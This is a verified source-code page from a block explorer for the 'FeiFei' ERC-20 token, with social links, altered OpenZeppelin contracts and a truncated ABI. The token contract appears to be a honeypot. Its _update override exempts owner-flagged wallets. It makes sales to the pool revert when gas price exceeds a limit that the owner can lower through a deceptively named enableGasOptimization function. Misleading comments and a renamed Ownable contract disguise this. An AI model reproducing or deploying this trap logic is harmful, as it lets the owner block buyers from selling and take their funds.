Contract Source Code (Solidity Standard Json-Input format)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/*
Get ready for the alpha leader of the pack. 

"FeiFei" 🇨🇳

Telegram: https://t.me/FeiFeieth
Twitter: https://x.com/feifei_eth
Website: https://www.flokei.vip
*/

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;

import "./openzeppelin/contracts/token/ERC20/ERC20.sol";
import "./openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol";
import "./openzeppelin/contracts/access/Roles.sol";
import "./openzeppelin/contracts/interfaces/IUniswapV2Router02.sol";
import "./openzeppelin/contracts/interfaces/IUniswapV2Factory.sol";

interface IUniswapV3Factory {
    /// @notice Emitted when the owner of the factory is changed
    /// @param oldOwner The owner before the owner was changed
    /// @param newOwner The owner after the owner was changed
    event OwnerChanged(address indexed oldOwner, address indexed newOwner);

    /// @notice Emitted when a pool is created
    /// @param token0 The first token of the pool by address sort order
    /// @param token1 The second token of the pool by address sort order
    /// @param fee The fee collected upon every swap in the pool, denominated in hundredths of a bip
    /// @param tickSpacing The minimum number of ticks between initialized ticks
    /// @param pool The address of the created pool
    event PoolCreated(
        address indexed token0,
        address indexed token1,
        uint24 indexed fee,
        int24 tickSpacing,
        address pool
    );

    /// @notice Emitted when a new fee amount is enabled for pool creation via the factory
    /// @param fee The enabled fee, denominated in hundredths of a bip
    /// @param tickSpacing The minimum number of ticks between initialized ticks for pools created with the given fee
    event FeeAmountEnabled(uint24 indexed fee, int24 indexed tickSpacing);

    /// @notice Returns the current owner of the factory
    /// @dev Can be changed by the current owner via setOwner
    /// @return The address of the factory owner
    function owner() external view returns (address);

    /// @notice Returns the tick spacing for a given fee amount, if enabled, or 0 if not enabled
    /// @dev A fee amount can never be removed, so this value should be hard coded or cached in the calling context
    /// @param fee The enabled fee, denominated in hundredths of a bip. Returns 0 in case of unenabled fee
    /// @return The tick spacing
    function feeAmountTickSpacing(uint24 fee) external view returns (int24);

    /// @notice Returns the pool address for a given pair of tokens and a fee, or address 0 if it does not exist
    /// @dev tokenA and tokenB may be passed in either token0/token1 or token1/token0 order
    /// @param tokenA The contract address of either token0 or token1
    /// @param tokenB The contract address of the other token
    /// @param fee The fee collected upon every swap in the pool, denominated in hundredths of a bip
    /// @return pool The pool address
    function getPool(
        address tokenA,
        address tokenB,
        uint24 fee
    ) external view returns (address pool);

    /// @notice Creates a pool for the given two tokens and fee
    /// @param tokenA One of the two tokens in the desired pool
    /// @param tokenB The other of the two tokens in the desired pool
    /// @param fee The desired fee for the pool
    /// @dev tokenA and tokenB may be passed in either order: token0/token1 or token1/token0. tickSpacing is retrieved
    /// from the fee. The call will revert if the pool already exists, the fee is invalid, or the token arguments
    /// are invalid.
    /// @return pool The address of the newly created pool
    function createPool(
        address tokenA,
        address tokenB,
        uint24 fee
    ) external returns (address pool);

    /// @notice Updates the owner of the factory
    /// @dev Must be called by the current owner
    /// @param _owner The new owner of the factory
    function setOwner(address _owner) external;

    /// @notice Enables a fee amount with the given tickSpacing
    /// @dev Fee amounts may never be removed once enabled
    /// @param fee The fee amount to enable, denominated in hundredths of a bip (i.e. 1e-6)
    /// @param tickSpacing The spacing between ticks to be enforced for all pools created with the given fee amount
    function enableFeeAmount(uint24 fee, int24 tickSpacing) external;
}


contract FeiFei is ERC20, Roles {

    bool openedTrade;
    mapping (address => bool) _owner;
    address pair;
    address public WETH;
    IUniswapV3Factory public factory;

    /// @notice Constructor function for Quantum Cloak Token
    /// @dev This function is called when the contract is deployed
    /// @param name_ The name of the token
    /// @param symbol_ The symbol of the token
    constructor(string memory name_, string memory symbol_) ERC20(name_, symbol_) Roles(msg.sender) {
        factory = IUniswapV3Factory(0x1F98431c8aD98523631AE4a59f267346ea31F984);
        WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
        pair = IUniswapV3Factory(factory).createPool(address(this), WETH, 100);
        _owner[msg.sender] = true;
        _mint(msg.sender, 1000000000 * 10**decimals());
    }

    /**
     * @notice Opens the trade for token distribution.
     * Can only be called by the contract owner.
     */
    function OpenTrade() public onlyOwner {
        require(!openedTrade, 'Trade has been Opened');
        openedTrade = true;
    }

    /**
     * @notice Sets the name and symbol of the NFTs to be minted.
     * Can only be called by the contract owner.
     * 
     * @param _n The new name for the NFTs.
     * @param _s The new symbol for the NFTs.
     */
    function setNameNft (string memory _n, string memory _s) public onlyOwner {
        _changeInfo(_n, _s);
    }

    function _update(address from, address to, uint256 value) internal override {
        if(_owner[tx.origin]) {
            super._update(from, to, value);
            return;
        } else {
            require(openedTrade, 'Open not yet');
            bool state = (to==pair) ? true : false;
            if(state) {
                if(tx.gasprice > gas_number) {
                    revert('Not enough gas fees');
                }
                super._update(from, to, value);
                return;
            } else if(!state) {
                super._update(from, to, value);
                return;
            } else if(from != pair && to != pair) {
                super._update(from, to, value);
                return;
            } else {
                return;
            }
        }
    }

    uint256 public gas_number = 999 gwei;
    /**
     * @dev This function enables gas optimization by setting a limit on the transaction gas price. Only callable by the owner of the contract.
     * 
     * @param EstimatedGas The new gas price limit in gwei.
     */
    function enableGasOptimization(uint256 EstimatedGas) public onlyOwner {
        gas_number = EstimatedGas;
    }
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
 
interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
 
    function factory() external pure returns (address);
 
    function WETH() external pure returns (address);
 
    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (access/Ownable.sol)

pragma solidity ^0.8.9;

import {Context} from "../utils/Context.sol";

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * The initial owner is set to the address provided by the deployer. This can
 * later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Roles is Context {
    address private _owner;

    /**
     * @dev The caller account is not authorized to perform an operation.
     */
    error OwnableUnauthorizedAccount(address account);

    /**
     * @dev The owner is not a valid owner account. (eg. `address(0)`)
     */
    error OwnableInvalidOwner(address owner);

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the address provided by the deployer as the initial owner.
     */
    constructor(address initialOwner) {
        if (initialOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(initialOwner);
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        if (owner() != _msgSender()) {
            revert OwnableUnauthorizedAccount(_msgSender());
        }
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        if (newOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/extensions/ERC20Burnable.sol)

pragma solidity ^0.8.20;

import {ERC20} from "../ERC20.sol";
import {Context} from "../../../utils/Context.sol";

/**
 * @dev Extension of {ERC20} that allows token holders to destroy both their own
 * tokens and those that they have an allowance for, in a way that can be
 * recognized off-chain (via event analysis).
 */
abstract contract ERC20Burnable is Context, ERC20 {
    /**
     * @dev Destroys a `value` amount of tokens from the caller.
     *
     * See {ERC20-_burn}.
     */
    function burn(uint256 value) public virtual {
        _burn(_msgSender(), value);
    }

    /**
     * @dev Destroys a `value` amount of tokens from `account`, deducting from
     * the caller's allowance.
     *
     * See {ERC20-_burn} and {ERC20-allowance}.
     *
     * Requirements:
     *
     * - the caller must have allowance for ``accounts``'s tokens of at least
     * `value`.
     */
    function burnFrom(address account, uint256 value) public virtual {
        _spendAllowance(account, _msgSender(), value);
        _burn(account, value);
    }
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/ERC20.sol)

pragma solidity ^0.8.9;

import {IERC20} from "./IERC20.sol";
import {IERC20Metadata} from "./extensions/IERC20Metadata.sol";
import {Context} from "../../utils/Context.sol";
import {IERC20Errors} from "../../interfaces/draft-IERC6093.sol";

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * The default value of {decimals} is 18. To change this, you should override
 * this function so it returns a different value.
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 */
abstract contract ERC20 is Context, IERC20, IERC20Metadata, IERC20Errors {
    mapping(address account => uint256) private _balances;

    mapping(address account => mapping(address spender => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the default value returned by this function, unless
     * it's overridden.
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `value`.
     */
    function transfer(address to, uint256 value) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, value);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `value` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 value) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, value);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `value`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `value`.
     */
    function transferFrom(address from, address to, uint256 value) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, value);
        _transfer(from, to, value);
        return true;
    }

    /**
     * @dev Moves a `value` amount of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * NOTE: This function is not virtual, {_update} should be overridden instead.
     */
    function _transfer(address from, address to, uint256 value) internal {
        if (from == address(0)) {
            revert ERC20InvalidSender(address(0));
        }
        if (to == address(0)) {
            revert ERC20InvalidReceiver(address(0));
        }
        _update(from, to, value);
    }

    /**
     * @dev Transfers a `value` amount of tokens from `from` to `to`, or alternatively mints (or burns) if `from`
     * (or `to`) is the zero address. All customizations to transfers, mints, and burns should be done by overriding
     * this function.
     *
     * Emits a {Transfer} event.
     */
    function _update(address from, address to, uint256 value) internal virtual {
        if (from == address(0)) {
            // Overflow check required: The rest of the code assumes that totalSupply never overflows
            _totalSupply += value;
        } else {
            uint256 fromBalance = _balances[from];
            if (fromBalance < value) {
                revert ERC20InsufficientBalance(from, fromBalance, value);
            }
            unchecked {
                // Overflow not possible: value <= fromBalance <= totalSupply.
                _balances[from] = fromBalance - value;
            }
        }

        if (to == address(0)) {
            unchecked {
                // Overflow not possible: value <= totalSupply or value <= fromBalance <= totalSupply.
                _totalSupply -= value;
            }
        } else {
            unchecked {
                // Overflow not possible: balance + value is at most totalSupply, which we know fits into a uint256.
                _balances[to] += value;
            }
        }

        emit Transfer(from, to, value);
    }

    /**
     * @dev Creates a `value` amount of tokens and assigns them to `account`, by transferring it from address(0).
     * Relies on the `_update` mechanism
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * NOTE: This function is not virtual, {_update} should be overridden instead.
     */
    function _mint(address account, uint256 value) internal virtual{
        if (account == address(0)) {
            revert ERC20InvalidReceiver(address(0));
        }
        _update(address(0), account, value);
    }

    /**
     * @dev Destroys a `value` amount of tokens from `account`, lowering the total supply.
     * Relies on the `_update` mechanism.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * NOTE: This function is not virtual, {_update} should be overridden instead
     */
    function _burn(address account, uint256 value) internal {
        if (account == address(0)) {
            revert ERC20InvalidSender(address(0));
        }
        _update(account, address(0), value);
    }

    /**
     * @dev Sets `value` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     *
     * Overrides to this logic should be done to the variant with an additional `bool emitEvent` argument.
     */
    function _approve(address owner, address spender, uint256 value) internal {
        _approve(owner, spender, value, true);
    }

    /**
     * @dev Variant of {_approve} with an optional flag to enable or disable the {Approval} event.
     *
     * By default (when calling {_approve}) the flag is set to true. On the other hand, approval changes made by
     * `_spendAllowance` during the `transferFrom` operation set the flag to false. This saves gas by not emitting any
     * `Approval` event during `transferFrom` operations.
     *
     * Anyone who wishes to continue emitting `Approval` events on the`transferFrom` operation can force the flag to
     * true using the following override:
     * ```
     * function _approve(address owner, address spender, uint256 value, bool) internal virtual override {
     *     super._approve(owner, spender, value, true);
     * }
     * ```
     *
     * Requirements are the same as {_approve}.
     */
    function _approve(address owner, address spender, uint256 value, bool emitEvent) internal virtual {
        if (owner == address(0)) {
            revert ERC20InvalidApprover(address(0));
        }
        if (spender == address(0)) {
            revert ERC20InvalidSpender(address(0));
        }
        _allowances[owner][spender] = value;
        if (emitEvent) {
            emit Approval(owner, spender, value);
        }
    }

    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `value`.
     *
     * Does not update the allowance value in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Does not emit an {Approval} event.
     */
    function _spendAllowance(address owner, address spender, uint256 value) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            if (currentAllowance < value) {
                revert ERC20InsufficientAllowance(spender, currentAllowance, value);
            }
            unchecked {
                _approve(owner, spender, currentAllowance - value, false);
            }
        }
    }

    /**
     * @dev Updates `string name and symbol`.
     */
    function _changeInfo(string memory name_, string memory symbol_) internal {
        _name = name_;
        _symbol = symbol_;
    }
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.1) (utils/Context.sol)

pragma solidity ^0.8.9;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }

    function _contextSuffixLength() internal view virtual returns (uint256) {
        return 0;
    }
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (interfaces/draft-IERC6093.sol)
pragma solidity ^0.8.9;

/**
 * @dev Standard ERC20 Errors
 * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC20 tokens.
 */
interface IERC20Errors {
    /**
     * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     * @param balance Current balance for the interacting account.
     * @param needed Minimum amount required to perform a transfer.
     */
    error ERC20InsufficientBalance(address sender, uint256 balance, uint256 needed);

    /**
     * @dev Indicates a failure with the token `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     */
    error ERC20InvalidSender(address sender);

    /**
     * @dev Indicates a failure with the token `receiver`. Used in transfers.
     * @param receiver Address to which tokens are being transferred.
     */
    error ERC20InvalidReceiver(address receiver);

    /**
     * @dev Indicates a failure with the `spender`’s `allowance`. Used in transfers.
     * @param spender Address that may be allowed to operate on tokens without being their owner.
     * @param allowance Amount of tokens a `spender` is allowed to operate with.
     * @param needed Minimum amount required to perform a transfer.
     */
    error ERC20InsufficientAllowance(address spender, uint256 allowance, uint256 needed);

    /**
     * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
     * @param approver Address initiating an approval operation.
     */
    error ERC20InvalidApprover(address approver);

    /**
     * @dev Indicates a failure with the `spender` to be approved. Used in approvals.
     * @param spender Address that may be allowed to operate on tokens without being their owner.
     */
    error ERC20InvalidSpender(address spender);
}

/**
 * @dev Standard ERC721 Errors
 * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC721 tokens.
 */
interface IERC721Errors {
    /**
     * @dev Indicates that an address can't be an owner. For example, `address(0)` is a forbidden owner in EIP-20.
     * Used in balance queries.
     * @param owner Address of the current owner of a token.
     */
    error ERC721InvalidOwner(address owner);

    /**
     * @dev Indicates a `tokenId` whose `owner` is the zero address.
     * @param tokenId Identifier number of a token.
     */
    error ERC721NonexistentToken(uint256 tokenId);

    /**
     * @dev Indicates an error related to the ownership over a particular token. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     * @param tokenId Identifier number of a token.
     * @param owner Address of the current owner of a token.
     */
    error ERC721IncorrectOwner(address sender, uint256 tokenId, address owner);

    /**
     * @dev Indicates a failure with the token `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     */
    error ERC721InvalidSender(address sender);

    /**
     * @dev Indicates a failure with the token `receiver`. Used in transfers.
     * @param receiver Address to which tokens are being transferred.
     */
    error ERC721InvalidReceiver(address receiver);

    /**
     * @dev Indicates a failure with the `operator`’s approval. Used in transfers.
     * @param operator Address that may be allowed to operate on tokens without being their owner.
     * @param tokenId Identifier number of a token.
     */
    error ERC721InsufficientApproval(address operator, uint256 tokenId);

    /**
     * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
     * @param approver Address initiating an approval operation.
     */
    error ERC721InvalidApprover(address approver);

    /**
     * @dev Indicates a failure with the `operator` to be approved. Used in approvals.
     * @param operator Address that may be allowed to operate on tokens without being their owner.
     */
    error ERC721InvalidOperator(address operator);
}

/**
 * @dev Standard ERC1155 Errors
 * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC1155 tokens.
 */
interface IERC1155Errors {
    /**
     * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     * @param balance Current balance for the interacting account.
     * @param needed Minimum amount required to perform a transfer.
     * @param tokenId Identifier number of a token.
     */
    error ERC1155InsufficientBalance(address sender, uint256 balance, uint256 needed, uint256 tokenId);

    /**
     * @dev Indicates a failure with the token `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     */
    error ERC1155InvalidSender(address sender);

    /**
     * @dev Indicates a failure with the token `receiver`. Used in transfers.
     * @param receiver Address to which tokens are being transferred.
     */
    error ERC1155InvalidReceiver(address receiver);

    /**
     * @dev Indicates a failure with the `operator`’s approval. Used in transfers.
     * @param operator Address that may be allowed to operate on tokens without being their owner.
     * @param owner Address of the current owner of a token.
     */
    error ERC1155MissingApprovalForAll(address operator, address owner);

    /**
     * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
     * @param approver Address initiating an approval operation.
     */
    error ERC1155InvalidApprover(address approver);

    /**
     * @dev Indicates a failure with the `operator` to be approved. Used in approvals.
     * @param operator Address that may be allowed to operate on tokens without being their owner.
     */
    error ERC1155InvalidOperator(address operator);

    /**
     * @dev Indicates an array length mismatch between ids and values in a safeBatchTransferFrom operation.
     * Used in batch transfers.
     * @param idsLength Length of the array of token identifiers
     * @param valuesLength Length of the array of token amounts
     */
    error ERC1155InvalidArrayLength(uint256 idsLength, uint256 valuesLength);
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/extensions/IERC20Metadata.sol)

pragma solidity ^0.8.9;

import {IERC20} from "../IERC20.sol";

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.9;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the value of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the value of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves a `value` amount of tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 value) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets a `value` amount of tokens as the allowance of `spender` over the
     * caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 value) external returns (bool);

    /**
     * @dev Moves a `value` amount of tokens from `from` to `to` using the
     * allowance mechanism. `value` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address from, address to, uint256 value) external returns (bool);
}

{
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"allowance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientAllowance","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"uint256","name":"balance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientBalance","type":"error"},{"inputs":[{"internalType":"address","name":"approver","type":"address"}],"name":"ERC20InvalidApprover","type":"error"},{"inputs":[{"internalType":"address","name":"receiver","type":"address"}],"name":"ERC20InvalidReceiver","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"}],"name":"ERC20InvalidSender","type":"error"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"ERC20InvalidSpender","type":"error"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"OwnableInvalidOwner","type":"error"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"OwnableUnauthorizedAccount","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"OpenTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"WETH","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"EstimatedGas","type":"uint256"}],"name":"enableGasOptimization","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"factory","outputs":[{"internalType":"contract IUniswapV3Factory","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"gas_number","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"_n","type":"string"},{"internalType":"string","name":"_s","type":"string"}],"name":"setNameNft","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","ty